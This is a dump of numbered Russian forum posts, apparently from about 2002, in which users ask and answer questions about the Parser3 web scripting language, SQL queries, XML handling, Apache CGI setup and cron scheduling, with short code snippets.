В итоге в базу легло так, как он это дело прислал, и таинтом это не полечить это раз, и два - это форум, в котором пишется код, поэтому тут все по максимуму сохраняется, так что не гони :)\
\
Следующий раз будешь копировать что-нить для постинга в окно эксплорера - прогоняй через что-нить, чтобы он забыл кодировку...\
"
"4991","Вариантов много, расписывать лениво. Ищи в форуме, тут это обсуждалось..."
"4995","Текст я писал прямо, ни откуда не копируя.\
Про taint/untaint : просто на своем форуме у меня такая же проблема была. И не периодически, а постоянно одни каракули были! Я это с помощью untaint'a решил - теперь все в порядке..."
"4997","че это за DISTINCT такой? можете поподробнее объяснить?"
"4999","Или в одном документе делай изображение и отдавай его в $response:body[] а в другом делай <img src=\"ссылка на файл где делается изображение\" />\
\
P.S. поиск по форуму дал-бы тебе ответ на этот вопрос."
"5002","Хотя сейчас сам попробую"
"5003","Я конечно дико извиняюсь, но я только начал.\
как я понимаю нужно просто присвоить переменной значение\
$ip[$env:HTTP_REMOTE_ADDR] или не так?\
"
"5004","именно так..."
"5005","^if(def $form:Upload1){\
	$newstext[^newstext.match[(<img [^^>]*)src=\"([^^\"]+\\\\$form:Upload1.name)\"([^^>]*>)][gi]{$match.1 src=\"i/news/$form:Upload1.name\" $match.3}]	\
}\
^if(def $form:Upload2){\
	$newstext[^newstext.match[(<img [^^>]*)src=\"([^^\"]+\\\\$form:Upload2.name)\"([^^>]*>)][gi]{$match.1 src=\"i/news/$form:Upload2.name\" $match.3}]	\
}\
спасибо )))) хотя я не понял что и как я сыделал ))) \
всмысле ^ это инверсия класса, а ^^ это что? )))"
"5009","Цитата из документации:\
\
[quote]...необходимо также выяснить, как из [i]пользовательского[/i] класса вызывать методы и получать значения переменных класса MAIN. Методы класса MAIN вызываются как статические функции: \
\
^MAIN:метод[], \
\
а переменные являются статическими полями класса MAIN. К ним можно получить доступ так же, как к любым другим статическим полям: \
\
$MAIN:поле[][/quote]\
\
На деле же первый пример работает, второй --- нет!\
\
В корневом auto.p зададим значение переменной и создадим метод:\
\
[code]\
@auto[]\
$foo[bar]\
\
@get_foo[]\
$result[$foo]\
[/code]\
\
В классе foobar опишем метод:\
\
[code]\
@go_get_that_foo\
Попытка первая. Поле foo класса MAIN: <B>$MAIN:foo[]</B><BR>\
Попытка вторая. Поле foo класса MAIN: <B>^MAIN:get_foo[]</B>\
[/code]\
\
Создадим экземпляр класса, вызывем этот метод и увидим:\
\
[quote]\
Попытка первая. Поле foo класса MAIN:\
Попытка вторая. Поле foo класса MAIN: [b]bar[/b]\
[/quote]\
\
Чудеса да и только."
"5013","видел ли ты где-нибудь ещё в доке чтобы значение переменной получалось также как и здесь? (я имею ввиду со скобками). Тут надо рассуждать так, - если есть скобки значит это происходит вызов метода, а если вместо ^ стоит $ значит где-то есть ошибка."
"5014","Броузер видит в полученом HTML коде конструкцию <img src=... />?\
\
Мне кажется, что нет...\
\
"
"5015","1. опечатка имеет место, скоро выложу\
2. все пожелания и замечания по документации немендленно мне, учту"
"5016","Напиши макрос типа...\
[code]\
@pictIns[pName]\
^if(!$pName is 'image'){\
    $pName[^image::load[$iRoot$pName]]\
}\
<img src=\"$pName.src\" width=\"$pName.width\" height=\"$pName.height\" />\
[/code]\
$iRoot - енто переменныя где папка с рисунками, типа... Можно и без него обойтися :)))\
Сам, правда не пробал, но вроде должно работать..."
"5017","Установил php3 и \"Small HTTP Server v3.0386\". Все работает но только в консольном режиме. Подробнее: установил php3 и \"Small HTTP Server v3.0386\" в соответствии с инструкцией. Затем создал файл с расширением php3 в котором находилась тестовая php-программа. Запускаю Internet Explorer. В \"Адрес\" указываю путь полный путь к файлу *.php3. Нажимаю \"Enter\" Появляется DOS'овское окошко в котором показан преобразованный текст php программы в html хотя, по идее, он должен был появится в окне Internet Explorer Пытался \"поймать\" результат следующей командой из командной строки: php.php3 >php.html. He получилось, т.к. в php.html записывался исходный текст php программы.\
Другими словами не появляеться HTML страничка\
Что это может быть??"
"5018","Я уже посылал три багрепорта одному из авторов документации --- Алексею Сорокину. Ни ответа ни привета. Теперь буду отсылать на paf@design.ru"
"5019","Я хоть и отношусь к программистам, а Парсер изучаю с трудом. Что говорить о кодерах..."
"5020","Человек хочет поставить PHP (sic!) и спрашивает об этом на форуме Парсера... Ой, не могу..."
"5022","хотя нет, есть еще одна сложная для понимания штука - taint/untaint\
\
после этого будет легко :) тебе немного осталось.\
\
Если кратко про скобки/рубли/птички:\
\
рубль '$' - это значит обращение переменной\
птичка '^' - вызов метода\
\
круглые скобки '(xxx)' - в них выражение, которое будет посчитано (можно считать число, при этом 0 === false, не 0 === true)\
\
квадратные скобки '[yyy]' - просто присваивание переменной\
\
фигурные скобки '{zzz}' - внутри код, который будет передан далее, и лишь в месте его вставления он будет вычислен...\
\
коряво как-то получилось объяснить это..."
"5024","до сих пор не понял, почему ^taint[as-is][] и ^untaint{} выдают одно и то же..."
"5025","То, что в письме выше - не вопрос. Там не указаны \
реальные условия.\
\
При некоторых условиях они выдают одно и то-же, при некоторых - нет."
"5026","Ага пропащий к тебе обратишся.\
"
"5027","Понятно, спасибо за совет"
"5028","Спасибо за совет, будем кушать гранит как говориться"
"5031","Вот именно что у меня еще почти 2 десятка разделов с новостями, но они обновляются редко - раз в неделю, просто не охота на каждой такой странице писать для какого раздела нужны новости.\
раньше был классный оператор ^name[], у меня нет индексов для разделов, поэтому каждый раздел - одна страница с новостами и линками на заметки(одна страница на весь сайт - mod_rewrite)."
"5033","Скачал. Опять ошибка 500 вылазиет! :("
"5035","Да ты прав, не подумал когда писал, а потом даже пробовать не стал\
спасибо за помощь"
"5036","Почему когда я использую команду $response:refresh[$.value[0] $.url[/index2.html]] возникает задержка, прежде чем \
\
загрузиться нужная страница указанная в $.url\
\
А использовать команду $response:location[/index2.html], то у меня вроде бы загружается index2.html, а в заголовке с адресом \
\
по прежнему остается index1.html.\
\
Нельзя ли как-нибудь загружать новую страницу сразу без задержек и чтобы в адресе указывалась текущая, а не предыдущая \
\
страница?"
"5041","[отвечаю на почту]\
> каким образом можно считать данные из БД, чтобы\
> они попадали в элементы формы, т.е. в соответствующие эдитбоксы.\
> У меня появилась такая необходимость, т.к. нужна возможность\
> редактирования уже внесенных в БД новостей.\
> Я попробовал напрямую присвоить элемент таблицы элементу формы:\
>  $form:author[$news.author]\
> но получил такую ошибку: element can not be stored to form\
> Есть ли какой-то способ это реализовать ?\
\
для упрощения понимания кода элементы формы намеренно сделаны read-only.\
\
рекомендуется такой подход:\
[code]\
^if(…){\
# поля формы\
    $record[$form:fields]\
}{\
# запись из базы\
    $record[^table::sql{… where id=…}]\
}\
<input name=\"age\" value=\"$record.age\">\
[/code]"
"5042","по-умолчанию parser ничего не выставляет в [code]$response:date[/code].\
\
получается, что все страницы имеют дату \"сейчас\". поисковый сервер, соответственно, может выводить в результате ответа эту дату, про, скажем, такие документы: http://domain.ru/news/1990/01/01.html\
\
в планах позволить туда писать объект типа date, чтобы он сам отформатировался в стандартную строку заголовка ответа.\
\
ну а уж сформировать эту дату будет задачей скриптовальщика, поскольку долгие размышления на тему \"нельзя ли её автоматически получить исходя из дат всех файлов, из которых состоит страница?\" дали ответ: можно, но есть ещё sql select запросы к таблицам, у которых нет столбца timestamp."
"5043","$response:location[$env:SERVER_NAME/]\
Пытаюсь таким образом перейти на главную страницу, а вместо нее получаю: \
\"Невозможно найти страницу\""
"5045","А я возился с этим (bug'ом, что-ли) целый день! Об этом можно было написать в manual'е!"
"5048","очередной раз прошу о неточностях и непонятках сообщать.\
глупо же биться головой неразумно долгое время..\
\
добавил слова+пример в документацию."
"5050","можно так:\
[code]\
@days_in_month[month]\
$from[^date::create(2000;$month;1)]\
$to[^date::create($from)] ^to.roll[month](+1)\
$result($to-$from)\
[/code]"
"5053","Меня интересует принцип работы поиска по форуму. Как ента все есть работать? Поиск производится в заголовках, или в самих сообщениях, или и там, и там? Но если запрашиваемый текст будет найден и в заголовке и в тексте одного и того же сообщения, разве не получится так, что в результате поиска пользователю будет выдано 2 одинаковых сообщения? Как это решается?\
\
P.S. Честно говоря, я не сильно над этим думал - лень, понимаете-ли. Хочется услышать уже готовые решения... Поймите меня правильно..."
"5055","Ну ладно...ладно! Я думал - просто не хочется говорить, что нихрена не надумал! Че-та я никак не вдуплю в это дело! Ладно я, но ты будь человеком - подскажи хоть, в каком направлении думать-то!? Главное - начать! Потом само идет...;)"
"5056","куда я тебе предлагаю сходить не первый раз :)\
\
или купи книжку по SQL и прочитай ее.\
\
узнаешь много нового, в том числе что такое JOIN-ы."
"5057","Просто, сам понимаешь, впадлу читать тонны разного текста \"просто так\". Когда надо - я читаю, как говорится - \"Вперед и с песней!\". А иногда, вот как сейчас, хочется, а не знаешь, что читать! Спасибо, что не \"посылаешь\", вернее, посылаешь куда надо. У меня бы на меня терпения не хватило! ;) Thank you for your beeing!"
"5058","Помогите пожалуйста!\
Кармой чую, что всё очень просто. Ошибка первоклассника!\
Но где!???\
\
method of table (table) accepts maximum 2 parameter(s)\
menu\
\
C:/Inetpub/magnit/classes/vnt.p (10)\
exception.type=parser.runtime \
\
@CLASS\
vnt\
\
@load[] \
^MAIN:dbconnect{ \
   $messages[^table::sql{select Date, Tex, Zakaz, Summa, IdBoss, IdOtdel, Monkey, IdMonster from beer}]} \
\
@show_messages[] \
\
   ^messages.menu{ \
                <TR class=msgnew> \
                  <TD vAlign=center align=middle> \
                    <INPUT onclick=Toggle(this) \
                  type=checkbox value=5170_448980_1469_1173_1035_0_13330 name=Mid>\
                  </TD>\
                  <TD vAlign=center><IMG height=16 src=\"../inbox.files/space.gif\" width=16></TD>\
                          \
                  <TD vAlign=center><B>$messages.Monkey &nbsp; </B></TD>\
                  <TD vAlign=center align=right>&nbsp; </TD>\
                  <TD vAlign=center><A href=\"http://magnit\"><B>$messages.Tex </B></A></TD>\
                  <TD vAlign=center nowrap><B>$messages.Date </B></TD>\
                  <TD vAlign=center><B>$messages.Summa </B></TD>\
                                \
                </TD>\
                </TR>\
                }\
                <TD>&nbsp;</TD>\
\
Заранее спасибо!\
"
"5059","когда юзаешь тебе выдается 2 разных страницы - одна по хидерам, вторая по телу постигов.\
просто по чаще пользуйся поиском, и не забывай - довольно многие вещи можно понять почитав форум 2-го ПАРСЕРа."
"5065","А почему бы не организовать бесплатный хостинг с поддержкой parser'a?\
По-моему неплохая идея для продвижения parser'а в массы."
"5066","Правда в ней возможны ошибки (синтаксические), так что если увидите их - мыльте."
"5068","http://www.barcodesinc.com/generator/index.php"
"5069","что ты agat хочешь всего сразу и побыстрее, - так не бывает. Разбираться во всём придется самому, если конечно оно тебе надо, если не надо забрось ты все это дело к бубеням и займись тем что тебе по душе :)"
"5073","Пытаюсь выделить из uri страницы \"http://www.mysite.ru/news/index.html?year=2000&month=05&day=27\" непосредственно адрес\
\"http://www.mysite.ru/news/index.html\"\
\
$str[$request:uri]\
$uri[^str.lsplit[?]]\
\
Получаю ошибку:\
(table) has no string representation\
Как можно превратить адрес в строку?"
"5074","Это слишком просто. :)\
\
Спасибо за совет."
"5076","Крме того, приведенный тобой пример у меня работает:\
\
[code]\
$str[$request:uri]\
$uri[^str.lsplit[?]]\
\
^uri.offset(1)\
$uri.piece\
[/code]\
"
"5079","Вот фрагмент кода, призванный открыть файл, сделать замену подстрок и сохранить под оригинальным именем:\
[code]\
$filename[/sample.txt]\
$file1[^file::load[text;$filename]]\
$text[$file.text]\
$from2[^table::create[nameless]{шило	мыло}]\
$text[^text.replace[$from2]]\
^text.save[$filename]\
[/code]\
\
Всё идёт гладко, но последняя команда создаёт файл нулевой длины. Пробовал добавить перед ней ^file:delete[$filename]. Не помогло..."
"5082","Кто работает с  XML?\
помогите примером - сам туплю....\
<xml>\
<example>пример</example>\
<xml>\
\
напишите строку(строки) присвоения нового значения елементу <example>\
\
Сразу благодарен.\
"
"5084","Я сначала скопировал твой код - он работает. Может ты данные неправильно их полученой после lsplit таблицы достаешь?\
\
offset я добавил потом, т.к. мне показалось, что тебе нужна именно QUERY"
"5089","Попробовал написать там \"art. lebedev\", Мне выдалась совершенно другая картинка, чем на Design.ru. [color=\"white\"]Я более чем уверен, что Тёма зашифровал там слово \"хуй\"! ;-)[/color]"
"5090","Попробовал написать там \"art. lebedev\", Мне выдалась совершенно другая картинка, чем на Design.ru. [color=\"white\"]Я более чем уверен, что Тёма зашифровал там слово \"xyй\"! ;-)[/color]"
"5091","У меня в базе данных находится денежный счет. Например 300р.\
Мне надо чтобы ежедневно с этого счета снималось по 10р.\
\
На какое событие мне можно привязать уменьшение денежного баланса.\
При условии что счет пользователся должен уменьшаться независимо\
от того посещает ли он сайт или нет, и ровно при равенстве 0р\
на счету доступ пользователя к сайту должен прекратиться.\
\
Есть ли какое-то событие на подобие системного таймера по которому\
я все это смогу сделать, или же мне придется приклеивать это\
к загрузке какой-либо страницы, а может быть заставить\
админа переодически нажимать на кнопку обновить баланс."
"5092","Да спасибо. \
В этом и была ошибка."
"5093","Демон проверяет расписание раз в минуту.\
Справка по CRON: 'man crontab'\
\
Делаешь файл cron.txt:\
[code]\
-------------------------------\
# ошибки посылать на admin@domain.ru\
MAILTO=admin@domain.ru\
# каждый день в 05:00:00\
0 5 * * * grabmoney.pl\
\
-------------------------------\
[/code]\
В 05:00 каждый день будет запускаться скрипт grabmoney.pl\
\
Заливаешь на сервер, даешь команды\
[b]chmod 600 cron.txt[/b]\
[b]crontab cron.txt[/b]\
\
PS: Писал по памяти, где-то мог очепятаться. В основном все правильно."
"5096","Я тут так, глазами пробежался - ситуация с taint/untaint проясняется смутно...;) Если так, то пачкает; а если так, то чистит... Ну да ладно - как нибудь разберемся, а тебе - спасибо! Как никак, трудился, писал...;)"
"5097","http://www.holm.ru - хороший, но с баннером\
http://www.host.sk - новый, но без баннера"
"5098","что на форуме Parser2 обсуждаются решения каких либо задач с помощью Parser v.2! В наших же руках более гибкий и удобный Parser v.3.05! Общие идеи могут быть схожими, но детальная реализация решения - разная! Прошу учитывать это...\
\
P.S. а поиском форума я пользуюсь довольно часто, но это не натолкнуло меня ни на одну идею реализации оптимального поиска. Хорошо, но... можно сделать лучше."
"5099","Это я так, к слову...\
\
На самом деле я описал свое видение... Дока вам в руки для полноты ощущений :)\
\
И вопросы можно задавать в форуме (однако \"ничего не понятно, объясняйте\" - это не вопрос. Вопрос это так (IMHO): \"Хотел получить то-то и то-то. Сделал так-то и так-то. Согласно доке получилось вот это и вот это. Где грабли?\")"
"5100","Основные принципы и идеи одни. Просто с помощью разных инструментов они достигаются так или иначе.\
А поиск совершенно не изменился, что там один SQL запрос, что тут. Причем одинаковый..."
"5101","просто с первого раза не \"входит\". Я вот, уже 3-ий раз перечитал - все понял. Просто когда видишь много \"умного\" текста - глаза разбегаются и начинаешь чувствовать себя последним ламером, которому никогда не понять, что здесь написано! Но потом собираешься, сжимаешь зубы, и, с чувством задетой гордости,(типа \"Кто?! Я не пойму?! Да я щщас...вас всех...да вы...да я...\") начинаешь бешенно поглощать \"умное\" инфо, стараясь одновременно все это переварить и понять. И осознаешь, что \"бяка\"-то очень \"вкусная\"! Побольше бы таких статей!"
"5102","куда мне в третий парсер писать коды Parser2? Только и всего!\
А поиск я уже сам сделал. На http://www.myslq.com/documentation/ хорошо написано...;)"
"5103","я не могу понять GROUP BY. Я уже и русские доки перечитал - не доходит до меня, и ВСЕ! Че-то там group'иться, а че - не втыкаю! Объясните, пожалуйста, кому не лень!..."
"5105","[code]\
###########################################################################\
@searchInForum[terms;author;searchInMessage][tmp]\
$tmp[${terms}${author}]\
$result[^table::sql{\
	SELECT\
		forum_message_id,\
		${tblPrefix}forum_message.forum_message_body_id AS is_not_empty,\
		name,\
		author,\
		^MAIN:pSQL.date_format[${tblPrefix}forum_message.dt_published;%d.%m %H:%i] AS date,\
		IF(${tblPrefix}forum_message.dt_published >= ^MAIN:pSQL.today[], 1, 0) AS new,\
		dt_published\
	FROM \
		${tblPrefix}forum_message\
		^if(^searchInMessage.int(0)){LEFT JOIN ${tblPrefix}forum_message_body ON (${tblPrefix}forum_message.forum_message_body_id = ${tblPrefix}forum_message_body.forum_message_body_id)}\
	WHERE\
		${tblPrefix}forum_message.is_published = 1 AND\
		${tblPrefix}forum_message.forum_id = $forumId AND\
		^if(def $terms){\
			(\
				name LIKE '%$terms%'\
				^if(^searchInMessage.int(0)){OR message LIKE '%$terms%'}\
			) AND\
		}\
		^if(def $author){\
			^MAIN:pSQL.lower[author] = '$author' AND\
		}\
		1\
	ORDER BY \
		${tblPrefix}forum_message.dt_published DESC, \
		${tblPrefix}forum_message.forum_message_id DESC\
}[^if(!def $tmp){$.limit(10)}]]\
#end @searchInForum[]\
[/code]"
"5106","в другом \"месте\" может пригодится, а я не рублю, как мне его \"пригодить\"! Understand? Дядя Миша, будьте любезны - просветите слугу вашего не-в-чем-не-дуплящего!...;;)\
\
P.S. кстати, о Мишах - я ведь, по отчеству-то, Михайлович...Вот так..."
"5109","только попроще...я еще маленький... Всяких тонкостей SQL не знаю...\
Учусь-с, понимаете-ли...\
За код - спасибо. Родина вас не забудет...;)"
"5110","Народ, может как-то taint надо использовать в операторе?\
А то работает некорректно. Вот оператор\
[code]\
##*****************************************************************************\
## Оператор\
##\
@ifdef[val;deflt;undef][v]\
\
$v[$val]\
$result[^if(def $v){$deflt}{$undef}]\
\
## Конец @ifdef[]\
[/code]\
\
когда формы с именем $colname нет и делаю\
[code]\
^if(def $form:$colname){$form:$colname}{$Data.$colname}\
[/code]\
то возвращяеться $Data.$colname, когда делаю\
[code]\
^ifdef[$form:$colname;$Data.$colname]\
[/code]\
то возвращаеться пустота т.е. $form:$colname которого нет.\
Как бороться?"
"5111","или самому пробираться в дебрях SQL?!... А я расчитывал на помощь!"
"5112","Скачал \"CGI скрипт\", \"Конфигурационный файл и файлы описания кодировок\" и \"SQL драйвер для MySQL\". \
\
Положил файлы из \"архива с CGI скриптом\" в cgi директорию.\
\
В http.conf прописал:\
[code]\
# назначение обработчиком .html страниц \
AddHandler parser3-handler html \
Action parser3-handler /cgi-bin/parser3 \
\
# запрет на доступ к .p файлам. основной: auto.p \
<Files ~ \"\\.p$\"> \
    Order allow,deny \
    Deny from all \
</Files> \
[/code]\
\
\
Куда надо положить SQL драйвер, и конфигурационный файл? Что надо прописать в auto.p и куда делся parser3.conf?\
\
Предыдущую версию установил без проблем, а с этой проблемы, пожалуйста помогите. Будет вообще класно, если вы напишите подробно что куда, да что где прописать.\
"
"5113","@ifdef[val;deflt;undef][v] - 3 параметра\
\
^ifdef[$form:$colname;$Data.$colname] - 2 параметра, не указан,в данном примере возврашаемый, undef, поэтому возвращается пустота...\
"
"5114","В твоем коде написано:\
[code]\
^ifdef[$form:$colname;$Data.$colname]\
[/code]\
\
Т.е. если есть $form:$colname то показываем $Data.$colname, в противном случае не показываем ничего...\
\
Как написал так и работает..."
"5116","Конфигурационный файл считывается из файла, заданного переменной окружения CGI_PARSER_CONFIG, \
Если переменная не задана, ищется [b]в том же каталоге, где расположен сам CGI скрипт.\
\
Для модуля к Apache путь к конфигурационному файлу задается директивой: \
#can be in .htaccess \
ParserConfig полный_путь \
[/b]\
\
SQL-дрова складываются, как и прежде, в тот же каталог, где и .cgi script, только в /lib.\
\
\
\
"
"5117","Совсем уже в свете 3 парсера стал забывать операторы старого, и вообще бессонные ночи сказываються. Приношу свои извенения."
"5119","[query \"insert into news (otdel, header, text, pict) values ('const', 'ЮЖНАЯ ДОРОГА', 'продолжается реконструкция автодороги Южная соединяющей город и промышленную зону. В 2003 году планируется отремонтировать полотно. На эти цели в республиканском бюджете заложено 11 миллионов рублей. В настоящее время дорога находится в аварийном состоянии и ее ремонт ', '8.jpg')\" [sql query error: Duplicate entry '0' for key 1]]"
"5121","В доке написано:\
\
auto.p.dist - пример Конфигурационного файла \
\
parser3.charsets/ - каталог с файлами таблиц кодировок \
koi8-r.cfg \
  - Cyrillic [KOI8-R] \
windows-1250.cfg \
  - Central europian[windows-1250] \
windows-1251.cfg \
  - Cyrillic[windows-1251] \
windows-1257.cfg \
  - Baltic[windows-1257] \
\
а таких файлов ни в одном архиве (win32) нет!"
"5123","точнее auto.p.dist называется просто auto.p, а parser3.charsets называется charsets, значит мне надо им изменить имя?"
"5124","Понимаю что к Парсеру это не имеет особого отношения, но все же очень интересным мне показался глюк.\
Из MySQL таблицы выбираю поле\
subcategory (null=yes;type=varchar(255))\
Таблица выглядит примерно так:\
id      subcategory\
1       ВАЗ\
2       Audi\
3       VolksWagen\
4       УАЗ\
\
$t1[^table::sql{select subcategory from tth_types where subcategory='ВАЗ'}]\
		\
$t2[^table::sql{select subcategory from tth_types where subcategory='ГАЗ'}]\
		\
Сравниваю их.\
\
^if($t1.subcategory eq $t2.subcategory){Равны}{Неравны}\
\
Получаю: Равны?!?\
\
Причем запись со словом 'ГАЗ' в таблице отсутствует.\
Такая же ошибка продолжается вплоть до слова 'ДАЗ'. На регистр букв тоже реакции никакой нет.\
\
С этим можно как-то бороться?"
"5125","а parser3conf_20020802_win32.zip скачивать пробовал? Все там есть..."
"5127","В разделе [url=\"http://parser.ru/docs/lang/\"]документации по языку в HTML формате[/url] появилась возможность писать свои комментарии.\
\
Пре модерация:\
\
Запощеный вами комментарий будет виден всем читателям онлайн документации только после одобрения администратором. До одобрения только вы сами будете видеть его.\
\
Писать комментарии могут только зарегистрированые и авторизировавшиеся пользователи.\
\
Пока авторизация осуществляется только в форуме\
(т.е. зашли в форум, залогинились, далее гуляете по сайту, в том числе в разделе документация у вас появляется новая фича).\
\
Пока усе. О багах писать мне. О том, что что-то не \"одобряют\" - mailto:mailbox@parser.ru\
"
"5129","IMHO было бы полезно иметь возможность при ответе на чей-то вопрос на форуме иметь возможность поместить пару вопрос/ответ к странице документации, чтобы этот вопрос больше не задавался (поиск конечно есть, но не все столь сознательны, чтоб им пользоваться :-( )."
"5130","Захожу на форум, авторизируюсь, перехожу в другой раздел, возвращаюсь в форум авторизации нет! Опять окошки для ввода логина и пароля. что сие озночает?"
"5131","Я понимаю конечно что можно с помощью парсера составить where выражение по всем колонкам - таб1.имя_колонки=таб2.имя_колонки, и забацать select, можно ли красивее?"
"5133","Есть ли способ заставить parser, установленный модулем, читать таблицу апача r->subprocess_env при обработке выражений \"$env:*\"? Соббсно проблема в том, что один из модулей ставит нужную мне переменную окружения в этой таблице, и \"парсер-cgi\", как любой другой cgi, ее видит, а \"парсер-модуль\" не обращает внимания."
"5134","Проблема, как оказалось не в этом. А в последовательности запросов и подзапросов при обработке GET /\
Прошу прощения за дезинформацию."
"5138","В доке написано, что в Г.К.Ф. можно прописать\
[code]$SQL.connect-string odbc://DSN=www_mydomain_ru^;UID=user^;PWD=password][/code]\
Но не написанно как это вызвать.\
Кто-нибудь знает как это вызвать?"
"5139","В принципе это просто переменная, которая определяется в конфиге парсера, и позволяет легко переносить сайт между серверами ... "
"5142","Мы написали меню которое должно поидеи храниться в SQL базе, но при загрузке его в страницу выдает такю ошибку /цитата/:\
\
outside of 'connect' operator\
sql\
\
z:/home/test2.ru/www/auto.p(17)\
exception.type=parser.runtime \
--------------------------------------------------------------------sql z:/home/test2.ru/www/auto.p(17)\
navigation z:/home/test2.ru/www/auto.p(81)\
body z:/home/test2.ru/www/auto.p(10)\
\
/конец цитаты/\
\
Файл auto.p содержит следующие данные для подключения к базе /цитата/:\
@auto[]\
$connect_string[mysql://root:111@localhost/p3test]\
\
@dbconnect[code]\
^connect[$connect_string]{$code}\
# И запрос:\
$sections[^table::sql{SELECT MenuId,name,alt,uri FROM menu}]\
/конец цитаты/.\
В чем дело не подскажите.\
P.S. пробовали загрузку из текстового файла все идет нормально.\
"
"5144","ya snova o forumah....\
chto, esli v table s forum_message dobavit pole \
Has_re - kotoroe otmechat v \"1\", esli na dannoye soobscheniye est otvet\
Re - esli dannoye soobscheniye yavlaetsa otvetom, suda pisat message_id roditelya, to est na kakoye soobscheniye otvet.\
\
Eto pomozhet lishniy raz ne bezhat vniz po rekursii : \
-> est otvet, pobezhali iskat soobscheniye gde re = message_id dannogo obrabativaemogo soobsheniya.\
-> netu otveta, obrabativaem sleduyuschiye soobscheniye.\
\
P.S. sorry za translit - no ya zae..lsya tikat po klaviature..;)"
"5145","Проделано следующее: \
- засунул parser в /cgi-bin/\
- в .htaccess прописал \
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.exe\
\
После этого, когда я пытаюсь открыть любую страницу, вываливается ошибка, а в логах апача пишется следующее:\
[Sun Aug 11 16:26:56 2002] [error] [client 192.168.0.1] File does not exist: D:/Projects/electronica/cgi-bin/parser3.exe/index.html\
\
То есть она трактует parser3.exe как КАТАЛОГ, а не скрипт. Почему? Что я забыл прописать?\
\
Заранее спасибо.\
\
З.Ы. Чувствую, что вопрос ламерский, а что делать - не пойму %)"
"5147","-"
"5150","[quote]\
Как подключаются конфигурационные файлы? \
\
Для CGI скрипта (parser3[.exe]): \
Конфигурационный файл считывается из файла, заданного переменной окружения [b]CGI_PARSER_CONFIG[/b], \
Если переменная не задана, ищется в том же каталоге, где расположен сам CGI скрипт. \
\
Для модуля к Apache путь к конфигурационному файлу задается директивой: \
#can be in .htaccess \
ParserConfig полный_путь \
\
[/quote]"
"5151","Конфигурационный файл (я так понимаю, это auto.p) таки лежит в  каталоге cgi-bin, так что с этим все в порядке. Просто до Парсера дело и не доходит - Апач почему-то не вызывает его, ошибочно считая parser3.exe каталогом... "
"5154","Парсер новый. Выдаёт *(hash) has no string representation\
exception.type=parser.runtime *\
вот этот пример\
-----------\
$document[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
<document> \
строка1<br/> \
строка2<br/> \
</document>}] \
$response:body[^document.file[ \
    $.media-type[text/xml] \
]]\
----------------"
"5156","какого рожна оно не парсит xml документ? Шо ему не нравицца? Я ужо и проверял его валидаторами и по частям ему кормил (по частям парсит, гад!) Ошибка следующая -- [i][Mon Aug 12 10:02:19 2002] warning: unreported xmlGenericErrors: xmlOutputBufferWrite: encoder error|xmlOutputBufferWrite: encoder error|[/i]\
От размера документа врогде не зависит... От чего зависит ума не приложу... Шо ето за хрень??? Млин, нервы ни к чёрту уже... Неделю бьюсь с етой  гадостью... А вы говорите XML!\
"
"5157","А где можно найти на русском Список стандартных переменных окружения?"
"5158","Может, конечно, вопрос идиотский, но тем не менее проблема у меня такая: Парсер3 вроде как поставил, но выполняю первый пример из мануала(это где панель навигации пишется), пишу все файлы, вставляю в ХТМЛ документ строку-вызов метода (^navigation[]) и в результате получаю на странице текст \"^navigation[]\", т.е., как я понял ;), Парсер у меня команды не интерпретирует, т.е. не работает. вроде всё делал строго по мануалу ;((\
"
"5161","а как строить вложенные деревья тредов? Без рекурсии, разве это возможно?! Если да, то как?!"
"5162","http://asponline.webware.ru/faq/faq-35.asp"
"5165","а то кода нету и помощи тоже :)"
"5167","а на самом деле парсер не стоит, точнее не является обработчиком html файлов, давай пиши как ставил и поподробнее."
"5168","так называемые неХ$Ёвые пробелы были :)\
\
Смысл вот в чем...\
Есть данные, среди них тексты сообщений, пишедшие из базы... (XML)\
Этим данным надо сделать XSL трансформ...\
Но у части данных надо сохранить форматирование табами, пробелами и ентерами...\
\
Поэтому сначала то, что надо сохранить (эти пробельные символы внутри code) меняются на что-либо уникальное [ :) ], а после трансформа -  ( точнее в postprocess) обратно...\
\
И я вот я в субботу кой чего переделывал и решил изменить эти уникальные сочетания на кой-чего побезопаснее... Изменил... Но не везде, как оказалось... :)))"
"5170","А ставил вот как:\
в cgi-каталог залил: parser3.exe, auto.p и каталоги lib и charsets. Прописал в httpd.conf в блок 'Main' server configuration:\
\
**AddHandler parser3-handler html\
**Action parser3-handler /cgi-bin/parser3.exe\
\
пробовал\
\
**AddHandler parser3-handler .html\
**Action parser3-handler /cgi-bin/parser3.exe"
"5171","текст, это не значение. это подэлемент. текстовый.\
предлагаю вывести дерево, посмотреть."
"5172","конкретно этот случай, по-моему, вообще не требует регулярных событий.\
\
человек пришёл: \
(дата сейчас-дата начала оплаты)*сумма в день> на счету\
yes: прогнать\
\
конечно, всё depends.."
"5173","вероятно база в koi8-r, а сайт в windows-1251, а ?charest=cp1251_koi8 в строке соединения забыт.\
\
mysql решил, что пишется koi, и пытается сравнивать строки исходя из этого. часть букв не преобразуются = получаются '?', и они совпадают."
"5174","надо сделать mysqldump, в начало файла дампа вписать \
set character set cp1251_koi8\
\
и сделать import \
[code]\
mysql -u*** -p*** -h*** *** < your_dump.sql\
[/code]\
"
"5175","1. select1, select2\
2. save1, save2\
3. ^exec[diff;save1;save2]\
4. check .status\
\
а серьёзно: Иван, не должно быть такой ситуации. наличие таблиц с одинаковой структурой обычно указывает на недостаток проектирования"
"5176","так вроде правильно"
"5178","исправлен, со следующей версией.\
\
пока делайте \
[code]\
$response:body[^document.string[ \
$.media-type[text/xml] \
]]\
[/code]\
\
этот код абсолютно идентичен."
"5181","Люди сос!!\
Короче набрел я на парсера и решил попробовать, прочитал весь менуал по установке на сервер под апачем, но чесно ни хрена не понял. А именно все говорят о том что надо файл parser3.exe кидать в папку cgi-bin, а вот где сам файл надыбать я не знаю.\
Так что заранее спасибо за любую помощь. \
PS\
А апач я использую версии 1.3.14"
"5184","Дык я лазил туда много раз, даже скачал дистрибутив для апача, вот только в этом архиве не этого файла, есть только ApacheModuleParser3.dll"
"5185","http://www.parser.ru/f/1/download/win32/parser3_3_0_0005_win32_cgi.zip"
"5186","Allow Owerride на CGI? Так там стоит:\
**AllowOverride All\
**Options ExecCGI\
\
Набираю я без звёздочек ;))"
"5187","AllowOverride All\
Options ExecCGI"
"5188","дык надо для Document Root чтобы AllowOverride позволяло тебе с помощью .htaccess переопределять настройки, короче чего для DocumentRoot стоит?"
"5189","В Руте All стоит.\
